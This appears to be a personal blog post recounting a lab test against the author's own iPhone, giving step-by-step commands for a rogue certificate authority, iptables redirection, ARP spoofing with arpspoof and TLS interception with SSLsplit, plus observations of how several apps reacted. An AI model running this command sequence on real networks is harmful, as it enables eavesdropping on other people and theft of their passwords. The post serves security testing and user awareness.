ARP spoofing, MITM attack over SSL-splitted connections, and fake CA certificate forging. All together. Against an iPhone

Today I was experimenting with PKI components on my PC, and I decided to play a little with them.

What I did, basically, was:
– set up a Certificate Authority on my Debian
– set up IP forwarding
– configured some prerouting rules to be sure that packets incoming on port 443, or 80, or whatever, were routed to another port
– ARP-spoofed in my WiFi network, trying to convince my iPhone that I was the real gateway
– started a tool called SSLSplit which was listening and presenting forged certificates signed by my CA

Set up a Certificate Authority

That’s quite easy

openssl genrsa -out ca.key 4096 openssl req -new -x509 -days 3560 -key ca.key -out ca.crt

What we have now is a CA certificate, (ca.crt), and its own private key, (ca.key). Indeed, that’s enough to sign certificates for our clients in the network.
This is what my CA certificate looks like

root@aldebaran:~# openssl x509 -in ca.crt -text -noout
Version: 3 (0x2)
Serial Number: 14520412463294183723 (0xc982de33f2cdf92b)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=LU, ST=Luxembourg, L=Luxembourg, O=CDN,\
Not Before: Feb 2 18:41:00 2014 GMT
Not After : Nov 2 18:41:00 2023 GMT
Subject: C=LU, ST=Luxembourg, L=Luxembourg, O=CDN,\
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (4096 bit)

Set up IP forwarding

As easy as

echo 1 > /proc/sys/net/ipv4/ip_forward

Now packets coming from other clients in our WLAN are forwarded through my Debian machine.

Configure prerouting

On Linux, you would do this with iptables command.
Be sure that nothing else is in your “nat” table

iptables -t nat -L

If there’s something you should keep, note it somewhere, because you’re going to flush the table

iptables -t nat -F

Then add these prerouting rules

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 # (HTTP connections)
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 # (HTTPS connections)
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 # (STARTTLS SMTP connections)
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 # (SSL SMTP connections)
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 # (SSL IMAP connections)
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080 # (messaging connections)

ARP Spoofing

Two commands and you’re done

arpspoof -i ${IFACE} -t ${VICTIM_IP} ${GW_IP} &
arpspoof -i ${IFACE} -t ${GW_IP} ${VICTIM_IP} &


SSLSplit is a tool which – as said – sits as a Man In The Middle between the client, (in this case my iPhone), and the various servers my iPhone uses, (iCloud, Google, Twitter, Facebook, WhatsApp…).
What it does? It captures the connections coming from my iPhone to the legitimate server, (which have been redirected by the ARP-spoofing and the prerouting rules), and at this point:

If they are plain text connections, it sniffs them, and log them on a log file
if they are SSL connections, it transparently forwards them to the legitimate server, signs its certificate with my own CA, presents it to my iPhone, (hopefully it will accept), decrypts the SSL encapsulated packages, logs them on a log file, re-encrypts them and finally send them back to my iPhone
To start sslsplit give this command

/opt/sslsplit-0.4.8/sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir -k ca.key -c ca.crt ssl 8443 tcp 8080

Then I started using my iPhone, and on my console I started snooping packets going through.

How the apps responded to the attack

In general, I must say that all the apps I’ve tested had a consistent reaction to this forgery:

Twitter: the app didn’t showed me any warning about the certificate: I was able to update to read new tweets. Nonetheless, the connection on the console stayed encrypted: all the traffic coming from 443 port wasn’t snooped, (log files were 0 sized). So, I decided to write a DM, to see if it was possible. No way: Twitter came out with this message


This problem disappeared as soon as I stopped ARP-spoofing.
Facebook: this app just refuses to work: all you have is a “No connection” error, and nothing is displayed. The app is not usable, and no content appeared on my sniffing console.
Whatsapp: this app has been attacked a lot in the past for their weak encryption layer. During my tests, it showed no complaints about the wrong certificate. I tried to send messages through it and it worked. Between my logs, there where three log files of connections going to port 5222, in binary format, which I’ve tried to open with hexedit. There was my phone number in clear text. The rest seems encrypted, because – as far as I know – Whatsapp uses the phone number and the UDID of the phone to encrypt the communication using RC4 algorithm, (!!!). By the way, that’s why they’ve been attacked about the weakness of their security layer




Mail: iPhone’s app showed a good behavior in realizing that something was wrong with the certificate: a pop up warned me that the certificate was not trusted, and that it was been tampered since the last time I used it. Obviously, I didn’t care and I’ve carried on, (as the 90% of users – unfortunately – does): the connection continued successfully. In the meantime, on my Debian I was able to see the connection going through. Part of the log files were in binary format, and even with hexedit there was no chance to get something readable.
Part were in plain text: my gmail account only showed this message
OK Claudio Di Nardo authenticated (Success)No plain text passwords, everything looked normal. At least, until when I decided to check my Post Telecom, (aka LuxGSM, aka P&T…), mailbox.
And that’s what I’ve seen

===> Original server certificate:
Subject DN: /businessCategory=Private Organization/serialNumber=J28/, Avenue Monterey/OU=Internet Services/O=Entreprise des Postes et Telecommunications Etablissement Public/
Common Names:
Fingerprint: 2f:4f:2c:85:a1:01:fa:36:42:5f:71:5b:94:28:4b:cd:b1:e7:41:4c

===> Forged server certificate:
Subject DN: /businessCategory=Private Organization/serialNumber=J28/, Avenue Monterey/OU=Internet Services/O=Entreprise des Postes et Telecommunications Etablissement Public/
Common Names:
Fingerprint: db:1e:1e:bf:84:7a:75:c2:65:2c:b2:6a:01:85:e9:01:c5:58:57:fd


A connection to, on port 993, (IMAP over SSL), was in plain text, with my password clearly exposed!

Safari: the Apple’s browser reacted quite well in the few SSL websites I visited. I will continue testing on this with other websites in the future…


What surprised me the most, of course, was that my mail password was exposed in plain text in a connection which is supposed to be encrypted. Could it be a wrong implementation of the SSLv3 on the IMAP server? Could it be an SSL failing over to STARTTLS?
Coming back to the weaknesses found in SSL layer, (the “null termination character”, the OCSP’s “try later” answer), it’s clear that, maybe, we are tending to give too much credit to the so-called “encrypted” communications.
The idea behind SSL is to have a few CAs issuing and checking certificates used for many purposes: the point is that if you have access to the root certificate of one of these CAs, you can snoop on almost every encrypted communication in the world which uses a server the CA you have had issued a certificate for. Think about it, next time you click “Continue” when your device tells you “Warning! This identity of …… cannot be verified!“.

Show Comments

Get the latest posts delivered right to your inbox.